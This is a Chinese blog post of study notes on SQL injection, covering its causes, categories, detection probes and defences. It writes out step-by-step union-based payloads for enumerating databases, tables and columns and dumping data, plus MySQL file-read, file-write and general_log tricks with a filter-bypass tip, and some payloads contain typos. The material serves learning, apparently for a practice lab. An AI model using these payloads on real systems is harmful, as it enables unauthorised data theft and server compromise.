SQL注入笔记

1. 什么是SQL注入

SQL注入是一种将SQL语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的SQL服务器加以解析并执行

2. SQL注入产生的原因

(1) 对用户的输入的数据,没有进行过滤,被带到了数据库中去执行,造成了SQL注入。
(2) 程序编写者在处理程序与数据库交互时,使用字符串拼接的方式构造SQL语句

3. SQL注入分类

(1) 按数据类型分
 a)	整形注入(不需要闭合,不需要注释符号)
 b)	字符型注入(需要闭合,需要注释符号)
(2) 按注入语法分
 a)	联合查询注入
 b)	报错注入
 c)	布尔型注入
 d)	延时注入
 e)	多语句注入

4. 怎么判断是否存在SQL注入

(1) and 1=1 / and 1=2 回显页面不同(整形判断)
(2) 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
(3) \ (转义符)
(4) -1/+1 回显下一个或上一个页面(整型判断)
(5) and sleep(5) (判断页面返回时间)

5. 哪里可能存在SQL注入

任何客户端可控,传递到服务器且和数据库进行交互的变量,都有可能存在SQL注入

6. SQL注入如何防御

(1) 对进入数据库的特殊字符(单引号,双引号,尖括号等)进行转换或编码转换。
(2) 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
(3) 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
(4) 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

7. 什么是联合查询?有什么限制条件?

联合查询可以将两个或两个以上的select语句的查询结果集合合并成一个结果集合显示
限制条件:
Union必须由两条或两条以上的select语句组成
语句之间用关键字Union分隔
Union中的每个查询必须包含相同的列

8. SQL注入一般步骤

(1) 注入类型判断

整型注入/字符型注入

(2) 确定 SELECT 语句字段数量

Order by (折半找)

(3) 确定数据暴露点

Union select 1,2,3,4.......

(4) 获取数据库名

Union select 1,database(),3,.....

(5) 获取数据库中表的数量

Union select 1,count(*),3,4,.... from `information_schema.tables` where `table_schema` = database();`

(6) 获取数据库中所有表名

Union select 1,group_concat(`table_name`),3,4,.... FROM `information_schema.tables` where `table_name` = database();

(7) 获取指定表的字段数量

Union select 1,count(*),3,4,.... from `information_schema.columns` where `table_name`='users'  `table_schema` = database();

(8) 获取指定表的字段名

Union select 1,group_concat(`column_name`),3,4,.... from  `information_schema.columns` where `table_name`='users'  `table_schema` = database();

(9) 获取指定表的数据

Union select 1,group_concat(concat(字段名, 字段名, ...)),3,4,... from表名

9. SQL注入的利用

(1)读文件
    my.ini 配置 privileges
    secure_file_priv=
    select load_file('文件名');

注:如果文件名被过滤可以通过转换为十六进制绕过

(2)写文件
   select 1 into outfile '文件名;(不支持二进制)
   select 1 into dumpfile '文件名;(支持二进制)

注:如果文件名被过滤不可以通过转换为十六进制绕过

(3)写日志
   select @@general_log; 查询日志状态
   set global general_log = on; 设置日志记录为打开
   set global geenral_log_file = '文件名' 设置日志文件路径

10. SQL注入靶机

     SQL_LAB
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值